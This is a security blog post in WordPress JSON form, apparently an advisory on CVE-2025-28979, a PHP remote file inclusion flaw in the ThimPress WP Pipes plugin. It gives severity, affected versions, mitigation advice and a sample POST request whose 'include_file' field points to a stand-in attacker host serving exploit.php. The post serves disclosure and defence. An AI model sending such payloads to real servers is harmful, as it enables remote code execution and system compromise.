{"id":64305,"date":"2025-08-25T06:20:55","date_gmt":"2025-08-25T06:20:55","guid":{"rendered":""},"modified":"2025-09-14T12:47:37","modified_gmt":"2025-09-14T18:47:37","slug":"cve-2025-28979-php-remote-file-inclusion-vulnerability-in-thimpress-wp-pipes","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28979-php-remote-file-inclusion-vulnerability-in-thimpress-wp-pipes\/","title":{"rendered":"<strong>CVE-2025-28979: PHP Remote File Inclusion Vulnerability in ThimPress WP Pipes<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The discovery of the CVE-2025-28979 vulnerability is a significant development in the cybersecurity landscape, particularly for users and developers relying on ThimPress WP Pipes. This security flaw allows an attacker to exploit an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; vulnerability, also known as a PHP Remote File Inclusion vulnerability. This vulnerability has serious implications, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30327-integer-overflow-vulnerability-in-incopy-leading-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"73713\">potentially leading<\/a> to system compromise or data leakage, thereby emphasizing the critical need for its immediate patching and remediation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28979<br \/>\nSeverity: High (8.1 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78638\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-826847239\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ThimPress WP Pipes | All versions until 1.4.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74546\">File Inclusion vulnerability<\/a> occurs when an attacker manipulates a PHP &#8216;include&#8217; or &#8216;require&#8217; statement to include a remote file from an external server. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76589\">file can contain malicious PHP<\/a> code, which is then executed by the server-side PHP interpreter. In the case of CVE-2025-28979, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6754-privilege-escalation-vulnerability-in-seo-metrics-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"72743\">vulnerability is present in the ThimPress WP Pipes plugin<\/a>, which improperly controls the filename for include\/require statements.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1620279077\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of how this vulnerability might be exploited is by sending a specifically crafted HTTP POST request to the vulnerable endpoint with a malicious payload as follows:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;include_file&quot;: &quot;http:\/\/malicious.example.com\/exploit.php&quot; }<\/code><\/pre>\n<p>In this example, &#8216;http:\/\/malicious.example.com\/exploit.php&#8217; is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74631\">remote PHP file that contains malicious code<\/a>. When this request is processed by the server, the &#8216;include_file&#8217; statement will include and execute the remote malicious PHP file, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27055-memory-corruption-leads-to-potential-system-compromise-during-image-encoding\/\"  data-wpil-monitor-id=\"74314\">leading to potential system compromise<\/a> or data leakage.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of ThimPress WP Pipes are advised to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30403-heap-buffer-overflow-vulnerability-in-mvfst-impacts-quic-sessions\/\"  data-wpil-monitor-id=\"82324\">impact of this vulnerability<\/a>. These systems can be configured to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76511\">block attempts to exploit this vulnerability<\/a>, providing a temporary solution until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The discovery of the CVE-2025-28979 vulnerability is a significant development in the cybersecurity landscape, particularly for users and developers relying on ThimPress WP Pipes. This security flaw allows an attacker to exploit an &#8216;Improper Control of Filename for Include\/Require Statement in PHP Program&#8217; vulnerability, also known as a PHP Remote File Inclusion vulnerability. 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